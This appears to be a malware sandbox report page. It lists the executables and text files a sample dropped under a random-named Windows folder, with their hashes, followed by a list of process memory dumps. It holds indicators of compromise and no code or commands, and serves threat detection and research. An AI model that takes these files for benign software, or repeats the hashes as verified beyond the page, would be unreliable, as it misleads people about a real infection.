c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\tsjtbfmcn\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\Result.txt

Filesize
648B

MD5
290ca2494a390574dba6b3575a1d49f0

SHA1
e335fbceae615ef1d9b2f7d35251ba1cb1c610eb

SHA256
61735f96819e1142fb0a2932857fd7de7a4d1e10b46e50096a93c0468ef166ff

SHA512
1c2b6ba43efc18429e7cf3271e7528823c39e0381bf106d81efa7be1a75dd3cde9bc366ab95a7631e527f942f03058ce74e179ed4913118a076b32bb732c7f07

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\Result.txt

Filesize
1KB

MD5
cbe8117dffe462edb5a1388d0eb14d3c

SHA1
6205aee6837b1cad0574ac31a0cee1f54b14ccb0

SHA256
409f77b10867a2b3baad54629502b904e12a93c4580ce3a9ee9ec76cf98a3584

SHA512
e425220bbc8719c7b91a3f1f44c265061d67de64ab690faa9a31407f8afa93091ce963ce241c5ca601e38e90b79f44d5483aaf9d8ce8716999bbb6d97bccc354

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\Result.txt

Filesize
3KB

MD5
7bbdd3cdd49090cb07d121878dfece2a

SHA1
1992dce4a9fa54fac34e41b6a24b415544c69705

SHA256
f322a966bc270ce61b1db63b5bbbec2df280f1cfda9127eef1f3fb6e07c0790d

SHA512
6ae5e71976731754c1a4b33418df5bdcfda98ea7cad57501224a2c6cfe980a8cccff2f426c6ba6f3ffb38a9f7d8cec3f6bf0aa4dc64c7e9fba1a82722857be79

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\Result.txt

Filesize
4KB

MD5
3643a2b9b27a4e6590688f74d5d0e6f9

SHA1
a71ad640c2b1ac60549a930b27603750a6dc1025

SHA256
0e760d14456ee7ae36230b51f372cbfe86bc36498a3f241ad5213fdef737ae5f

SHA512
ef71cd9f795e4fe7b68f5d3f7a7c734f44ebc7b87b8b21f6835f65b88870f1c2a1d1d2e6cf1f551b7fc7a5fdbced4e1195f6acb5c51ee9afce4c73c7d8f4f6dc

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\jbftscrnu.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/436-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/436-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/444-181-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/632-229-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/1144-194-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/1968-190-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/2136-138-0x00007FF6D4C10000-0x00007FF6D4CFE000-memory.dmp

Filesize
952KB

Download
memory/2136-135-0x00007FF6D4C10000-0x00007FF6D4CFE000-memory.dmp

Filesize
952KB

Download
memory/2192-234-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/2424-232-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/2532-186-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/2872-203-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/3076-176-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/3324-207-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/3696-248-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-235-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-183-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-213-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-501-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-179-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-498-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-497-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-226-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-165-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-200-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-168-0x000001FD31270000-0x000001FD31280000-memory.dmp

Filesize
64KB

Download
memory/3968-247-0x00000000007A0000-0x00000000007B2000-memory.dmp

Filesize
72KB

Download
memory/4204-224-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/4372-211-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/4492-237-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/4796-78-0x0000000000AC0000-0x0000000000B0C000-memory.dmp

Filesize
304KB

Download
memory/4932-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4932-152-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/4996-172-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/5072-142-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/5072-149-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/5076-198-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download
memory/5088-220-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp

Filesize
364KB

Download